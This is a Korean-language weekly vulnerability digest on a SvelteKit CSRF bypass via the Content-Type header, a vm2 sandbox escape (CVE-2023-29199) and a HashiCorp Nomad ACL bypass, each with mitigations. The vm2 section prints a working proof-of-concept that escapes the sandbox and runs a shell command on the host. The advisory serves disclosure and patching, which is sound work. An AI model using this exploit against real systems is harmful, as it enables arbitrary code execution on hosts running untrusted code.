이번 주 다이제스트에서는 다음에 대해 논의할 것입니다.
- SvelteKit의 CSRF 보호 우회;
- vm2 버전의 샌드박스 이스케이프; 그리고
- 해시코프 노마드 및 노마드 엔터프라이즈에 대한 인증되지 않은 ACL 인증 우회로 인해 권한 에스컬레이션이 발생했습니다.
CVE-2023-29003: 스벨트키트: 콘텐츠 유형 헤더를 사용한 CSRF 보호 우회
배경
SvelteKit은 Svelte JavaScript 라이브러리를 사용하여 웹 애플리케이션을 구축하기 위한 프레임워크입니다. 서버 측 렌더링, 라우팅, 파일 기반 페이지 라우팅과 같은 기능을 기본으로 제공하여 간소화된 개발 환경을 제공합니다.
취약성
취약점 CVE-2023-29003은 사이트 간 요청 위조(CSRF) 보호가 불충분하기 때문에 1.15.1 미만의 SvelteKit 버전에 영향을 미칩니다. SvelteKit 1.15.1 이전에는 세 가지 조건이 충족될 때 CSRF 보호가 실행되었습니다: (1) 요청이 POST이고, (2) 사이트 발신지와 요청의 발신지 HTTP 헤더가 일치하지 않으며, (3) 요청에 "application/x-www-form-urlencoded" 또는 "multipart/form-data"의 콘텐츠 유형 헤더로 표시되는 양식 콘텐츠가 포함되어 있는지 여부입니다.
이러한 조건이 모두 충족되면 요청에 대한 403 금지 응답이 전송됩니다. 이 검사는 요청에 "텍스트/일반"과 같은 다른 콘텐츠 유형을 사용하여 우회할 수 있습니다.
완화
- 이 취약점은 스벨트키트 버전 1.15.1에서 해결되었습니다. 이 문제를 해결하려면 최신 버전으로 업그레이드하는 것이 좋습니다.
CVE-2023-29199: vm2: 소스 코드 트랜스포머의 샌드박스 이스케이프
배경
vm2는 신뢰할 수 없는 코드를 안전하게 실행할 수 있는 샌드박스 환경을 제공하는 Node.js 모듈입니다. 공격자가 글로벌 컨텍스트나 민감한 데이터에 액세스하지 않고 신뢰할 수 없는 코드를 실행할 수 있는 격리된 실행 컨텍스트를 생성할 수 있습니다.
취약성
이 취약점은 vm2의 소스 코드 트랜스포머의 위생 로직의 예외에 의존합니다. 이 취약점을 통해 공격자는 handleException() 함수를 우회하고 위생 처리되지 않은 호스트 예외를 유출하여 공격자가 샌드박스를 탈출하고 호스트 컨텍스트에서 임의의 코드를 실행할 수 있는 문을 열 수 있습니다.
GitHub 사용자 leesh3288은 이 취약점을 악용하는 개념 증명을 수행했으며, 이는 호스트 컨텍스트에서 코드가 얼마나 쉽게 실행될 수 있는지를 보여줍니다:
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname
.constructor
.constructor('return process')()
.mainModule.require('child_process')
.execSync('touch pwned');
}
`
console.log(vm.run(code));
완화
- 이 취약점은 vm2 버전 3.9.16에서 해결되었습니다. 이 문제를 해결하려면 최신 버전으로 업그레이드하는 것이 좋습니다.
CVE-2023-1782: 해시코프 노매드: 인증되지 않은 ACL 우회 권한 에스컬레이션
배경
해시코프 노마드는 사용자가 데이터센터, 클라우드, 엣지 위치 등 다양한 환경에서 애플리케이션을 쉽게 배포하고 관리할 수 있도록 지원하는 컨테이너 오케스트레이션 플랫폼입니다. 자동화된 배포, 확장, 자가 복구와 같은 기능은 물론 여러 컨테이너 런타임과 스케줄링 알고리즘을 지원합니다.
취약성
이 취약점에 대한 구체적인 내용은 많지 않습니다. 하지만 연구자의 보고서에 따르면, 인증되지 않은 HTTP 요청은 내부 RPC를 통해 서버에서 요청이 처리될 때마다 의도된 ACL 권한을 우회할 수 있습니다. 이 취약점은 1.5.0 버전부터 1.5.2 버전까지 해시코프 노마드 및 해시코프 노마드 엔터프라이즈에 영향을 미칩니다.
완화
- 이 취약점은 호스트 클러스터에서 mTLS를 활성화하여 해결할 수 있습니다.
- 이 취약점은 해시코프 노매드 버전 1.5.3에서 해결되었습니다. 이 문제를 해결하려면 최신 버전으로 업그레이드하는 것이 좋습니다.
내용